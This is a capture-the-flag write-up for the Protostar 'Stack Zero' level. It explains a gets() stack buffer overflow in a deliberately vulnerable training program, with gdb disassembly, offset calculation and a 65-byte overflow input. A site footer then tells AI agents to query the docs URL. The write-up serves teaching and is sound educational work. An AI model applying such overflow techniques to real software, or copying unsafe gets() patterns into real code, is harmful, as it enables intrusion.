# Stack Zero

> This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.

## Source code

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}
```

As we can see a `modified` variable is initialized which has the qualifier `volatile` is created. The `volatile` qualifier tells the compiler to not optimize the usage of the variable as it can be changed at any time.

Afterwards, a buffer of 64 bytes is created.

The variable is later initialized to `0`.

The `gets` system call is used to read user input into the buffer. This syscall is infamous for it's bugs.

Let's look at the manual page.

```
 BUGS     

       Never use gets(). Because it is impossible to tell without
       knowing the data in advance how many characters gets() will read,
       and because gets() will continue to store characters past the end
       of the buffer, it is extremely dangerous to use. It has been
       used to break computer security. 
```

So the `gets` syscall stores characters past the end of the buffer. This essentially breaks the limit set on the buffer which means we can input more than 64 bytes.

This is the vulnerability that we have to exploit.

But before that let's go through the rest of the code.

There is an `if` statement which checks if the value of `modified` in not equal to zero. If it is not equal to 0, it prints out a string `else` it prompts us to try again.

We have to overwrite the `modified` variable using a buffer overflow. For that we have have to know where the `modified` variable is located.

Let's disassemble the program in `gdb`.

```
(gdb) disassemble main
Dump of assembler code for function main:
0x080483f4 <main+0>:    push   ebp
0x080483f5 <main+1>:    mov    ebp,esp
0x080483f7 <main+3>:    and    esp,0xfffffff0
0x080483fa <main+6>:    sub    esp,0x60
0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>
0x08048411 <main+29>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>:   test   eax,eax
0x08048417 <main+35>:   je     0x8048427 <main+51>
0x08048419 <main+37>:   mov    DWORD PTR [esp],0x8048500
0x08048420 <main+44>:   call   0x804832c <puts@plt>
0x08048425 <main+49>:   jmp    0x8048433 <main+63>
0x08048427 <main+51>:   mov    DWORD PTR [esp],0x8048529
0x0804842e <main+58>:   call   0x804832c <puts@plt>
0x08048433 <main+63>:   leave
0x08048434 <main+64>:   ret
```

Look at the instruction at `main+9`.

```
--snip--;
0x080483fd <main+9>:    mov    DWORD PTR [esp+0x5c],0x0
--snip--;
```

We can see that the variable is located at `esp+0x5c` and is set to zero using dereferencing.

Next, we want to locate the buffer.

```
--snip--;
0x08048405 <main+17>:   lea    eax,[esp+0x1c]
0x08048409 <main+21>:   mov    DWORD PTR [esp],eax
0x0804840c <main+24>:   call   0x804830c <gets@plt>
--snip--;
```

In 32-bit assembly the arguments for a `call` are stored onto the `stack`.

In our program the `gets` syscall takes the location of the buffer as argument. This buffer is located at `esp+0x1c`.

The distance between the location of the `modified` variable and the buffer is the following:

```
(gdb) p/d 0x5c - 0x1c
$1 = 64
```

The variable is located right where the buffer ends.

Therefore we need 65 bytes in total, 64 bytes to fill the buffer and 1 byte to overwrite the `modified` variable.

## Exploit

```
$ ./stack0
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaB
you have changed the 'modified' variable
```

We can also use `python` to craft the exploit.

```
$ python -c 'print "a"*(64)+"B"' | ./stack0
you have changed the 'modified' variable
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kunalwalavalkar.gitbook.io/write-ups/exploit-education/protostar/stack-zero.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.